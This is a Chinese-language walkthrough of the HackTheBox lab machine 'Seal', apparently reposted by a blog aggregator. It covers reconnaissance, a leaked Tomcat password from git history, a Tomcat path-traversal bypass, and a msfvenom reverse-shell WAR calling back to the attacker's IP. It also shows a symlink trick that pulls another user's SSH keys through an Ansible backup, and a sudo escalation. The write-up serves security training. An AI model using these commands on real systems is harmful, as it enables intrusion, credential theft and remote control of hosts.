0x00 信息收集
nmap -Pn -p- -T4 --min-rate=1000 10.10.10.250
nmap -Pn -p22,443,8080 -sCV 10.10.10.250
将seal.htb添加到hosts文件中。
查看443端口对应的界面,未发现可利用的点。
查看8080端口,是一个类似git仓库的登录界面。
尝试弱口令失败后,注册一个账号进行登录,注册处有一个上传图片的地方,尝试进行文件上传失败。
使用注册后的账号成功登录,通过查看仓库,发现使用了tomcat,并且根据提示内容看到使用了nginx作为负载均衡。查看仓库中的tomcat-users.xml文件,未发现账号密码信息。最终通过commit,找到了升级后的tomcat-users.xml文件,得到了tomcat的账号密码。
tomcat/42MrHBf*z8{Z%
0x01 漏洞利用
得到账号密码后,则尝试进行登录,最终在443端口的路径/manager/status出登录得到的账号密码
登录管理后台后,未发现可以上传war包的地方,继续进行尝试。
尝试访问路径,都会提示403,最后发现了tomcat的一个路径绕过漏洞。
https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
尝试绕过,看是否能进行文件上传,最终得到文件上传的路径。
生成war包进行上传
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.14.14" LPORT=4444 -f war > shell.war
此处上传需要使用burp进行抓包改路径并进行绕过,否则会上传失败。
访问路径/shell,成功得到了shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
由于tomcat用户权限较低,因此需要先将用户的权限提升为luis
0x02 权限提升
find / -user luis 2>/dev/null | grep -vE 'proc|/\.'
在路径/opt/backups/playbook中发现一个run.yml文件。
通过相关参考发现这个yml文件是在做备份的功能,且权限为luis。
https://docs.ansible.com/ansible/2.3/synchronize_module.html
此处漏洞利用思路为,将luis的ssh_keyjinxing进行备份,通过查看备份文件得到key,最后使用ssh登录luis用户。
ln -s /home/luis/.ssh /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/
ls -al /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/
文章来源:https://www.toymoban.com/news/detail-459872.html
ls /opt/backups/archives
cp /opt/backups/archives/backup-2021-11-24-02:36:34.gz ./backup.tar.gz
tar -xzvf backup.tar.gz
得到ssh_key
使用ssh进行登录
使用sudo -l查看相关权限
参考https://gtfobins.github.io/gtfobins/ansible-playbook/
文章来源地址https://www.toymoban.com/news/detail-459872.html
到了这里,关于HackTheBox::Seal的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!